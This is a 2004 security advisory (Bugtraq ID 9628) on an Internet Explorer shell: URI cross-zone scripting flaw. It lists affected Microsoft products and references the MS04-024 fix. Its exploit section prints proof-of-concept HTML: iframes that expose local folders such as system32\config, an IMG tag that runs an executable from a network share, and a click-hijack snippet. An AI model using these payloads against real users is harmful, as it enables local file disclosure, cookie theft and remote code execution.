BID:9628

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

Info

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

Bugtraq ID:	9628
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 10 2004 12:00AM
Updated:	Feb 10 2004 12:00AM
Credit:	Discovery of this issue is credited to Cheng Peng Su; this issue was also independently discovered by roozbeh afrasiabi <[email protected]>.
Vulnerable:	Microsoft Word 2003 + Microsoft Office 2003 SP1 + Microsoft Office 2003 0 Microsoft Word 2002 SP2 + Microsoft Office XP SP2 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home SP1 - Microsoft Windows XP Home - Microsoft Windows XP Professional SP1 - Microsoft Windows XP Professional Microsoft Word 2002 SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home - Microsoft Windows XP Professional Microsoft Word 2002 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home - Microsoft Windows XP Professional Microsoft Word 2000 SR1a + Microsoft Office 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Microsoft Word 2000 SR1 + Microsoft Office 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Microsoft Word 2000 SP3 + Microsoft Office 2000 SP3 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home SP1 - Microsoft Windows XP Home - Microsoft Windows XP Professional SP1 - Microsoft Windows XP Professional Microsoft Word 2000 SP2 + Microsoft Office 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Microsoft Word 2000 + Microsoft Office 2000 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Microsoft Outlook Express 6.0 SP1 + Microsoft Windows XP 64-bit Edition SP1 + Microsoft Windows XP 64-bit Edition SP1 + Microsoft Windows XP Home SP1 + Microsoft Windows XP Home SP1 + Microsoft Windows XP Professional SP1 + Microsoft Windows XP Professional SP1 Microsoft Outlook Express 6.0 + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Itanium SP2 + Microsoft Windows Server 2003 Itanium SP2 + Microsoft Windows Server 2003 Itanium SP1 + Microsoft Windows Server 2003 Itanium SP1 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard x64 Edition + Microsoft Windows Server 2003 Standard x64 Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 x64 SP2 + Microsoft Windows Server 2003 x64 SP2 + Microsoft Windows XP 64-bit Edition + Microsoft Windows XP 64-bit Edition + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Media Center Edition SP2 + Microsoft Windows XP Media Center Edition SP2 + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Media Center Edition + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional x64 Edition SP2 + Microsoft Windows XP Professional x64 Edition SP2 + Microsoft Windows XP Tablet PC Edition SP2 + Microsoft Windows XP Tablet PC Edition SP2 + Microsoft Windows XP Tablet PC Edition + Microsoft Windows XP Tablet PC Edition Microsoft Outlook Express 5.5 SP2 + Microsoft Windows 2000 Advanced Server SP4 + Microsoft Windows 2000 Advanced Server SP4 + Microsoft Windows 2000 Advanced Server SP3 + Microsoft Windows 2000 Advanced Server SP3 + Microsoft Windows 2000 Datacenter Server SP4 + Microsoft Windows 2000 Datacenter Server SP4 + Microsoft Windows 2000 Datacenter Server SP3 + Microsoft Windows 2000 Datacenter Server SP3 + Microsoft Windows 2000 Professional SP4 + Microsoft Windows 2000 Professional SP4 + Microsoft Windows 2000 Professional SP3 + Microsoft Windows 2000 Professional SP3 + Microsoft Windows 2000 Server SP4 + Microsoft Windows 2000 Server SP4 + Microsoft Windows 2000 Server SP3 + Microsoft Windows 2000 Server SP3 + Microsoft Windows ME + Microsoft Windows ME Microsoft Outlook Express 5.5 SP1 Microsoft Outlook Express 5.5 + Microsoft Internet Explorer 5.0.1 for Windows NT 4.0 + Microsoft Internet Explorer 5.0.1 for Windows NT 4.0 + Microsoft Internet Explorer 5.0.1 for Windows 98 + Microsoft Internet Explorer 5.0.1 for Windows 98 + Microsoft Internet Explorer 5.0.1 for Windows 95 + Microsoft Internet Explorer 5.0.1 for Windows 95 + Microsoft Internet Explorer 5.0.1 for Windows 2000 + Microsoft Internet Explorer 5.0.1 for Windows 2000 + Microsoft Internet Explorer 5.0.1 + Microsoft Internet Explorer 5.0.1 + Microsoft Internet Explorer 5.5 + Microsoft Internet Explorer 5.5 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Outlook Express 5.0 Microsoft Outlook 2003 0 + Microsoft Office 2003 SP3 + Microsoft Office 2003 SP3 + Microsoft Office 2003 SP2 + Microsoft Office 2003 SP2 + Microsoft Office 2003 SP1 + Microsoft Office 2003 SP1 + Microsoft Office 2003 0 + Microsoft Office 2003 0 Microsoft MSN Messenger Service 6.0.602 Microsoft MSN Messenger Service 6.1 Microsoft MSN Messenger Service 6.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Datacenter Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Enterprise Edition Itanium 0 + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Standard Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows Server 2003 Web Edition + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Home + Microsoft Windows XP Professional + Microsoft Windows XP Professional + Microsoft Windows XP Professional

Not Vulnerable:

Discussion

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

It has been alleged that Microsoft Internet Explorer is prone to a weakness that may potentially allow for the execution of hostile script code in the context of the My Computer Zone. This issue is related to how shell: URIs are handled by the browser. It should also be noted that shell: URIs may be used to reference local content in the same manner as file:// URIs.

Update: Although unconfirmed, further reports indicate that MSN messenger version 6.2.0137, Microsoft Word, Outlook 2003, and Outlook Express may also potentially provide exploitation vectors for this vulnerability.

Exploit / POC

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

The following proof-of-concept has been provided:
<iframe src="shell:my music"/>

roozbeh afrasiabi <[email protected]> has provided the following proof of concepts, including (DiscloseNFO (IE 6+ 6SP1) & ReadCookies (IE6)):

<iframe id="Target" src='shell:windows' name="x" width="875"
height="527">
</iframe>

<iframe id="Target" src='shell:windows\system32\config\' name="x"
width="875" height="527">
</iframe>

<iframe id="Target"
src='shell:::{450D8FBA-AD25-11D0-98A8-0800361B1103}' name="x"
width="875" height="527">
</iframe>

<iframe id="Target"
src='shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\c:' name="x"
width="875" height="527">
</iframe>

<iframe id="Target"
src='shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\::{7007ACC7-3202-11D1-AAD2-00805FC1270E}'
name="x" width="875" height="527">
</iframe>

<iframe id="Target" src='{E773F1AF-3A65-4866-857D-846FC9C4598A}'
name="x" width="875" height="527">
</iframe>

<a target="_blank"
href="shell:::{3E9BAF2D-7A79-11d2-9334-0000F875AE17}">click</a>

Additional proof-of-concepts were provided in the "IE ms-its: and mk:@MSITStore: vulnerability" BugTraq post by Roozbeh Afrasiabi.

Liu Die Yu has supplied a proof of concept for a 'shell:' URI remote file execution vector:
1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe">

A variant of the proof of concept of the exploit listed in BID 10690 (Microsoft Internet Explorer Popup.show Mouse Event Hijacking Vulnerability) has been supplied by http-equiv.:
Just substitute the following:
1. <img src="greyhat.html" id=anch
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>

2. location="shell:favorites\\greyhat[1].htm"

An additional proof-of-concept was released by http-equiv that demonstrates a method of using this issue in addition to BID 10517 to install an executable on a victim system:

http://www.malware.com/wattadrag.html

/data/vulnerabilities/exploits/DiscloseNFO.html.txt
/data/vulnerabilities/exploits/ReadCookies.html.txt

Solution / Fix

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

Solution:
It is reported that this issue is allegedly addressed by Microsoft Security Bulletin MS04-024. This information is not confirmed at the moment. Please contact Microsoft for more information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft Internet Explorer Shell: IFrame Cross-Zone Scripting Vulnerability

References:

Microsoft Security Bulletin MS04-024 (Microsoft)
Possible new cross zone scripting in IE (Cheng Peng Su )
Re: HijackClick 3 ("[email protected]" <[email protected]>)
Re: IE ms-its: and mk:@MSITStore: vulnerability (roozbeh afrasiabi )
What A Drag ("[email protected]" <[email protected]>)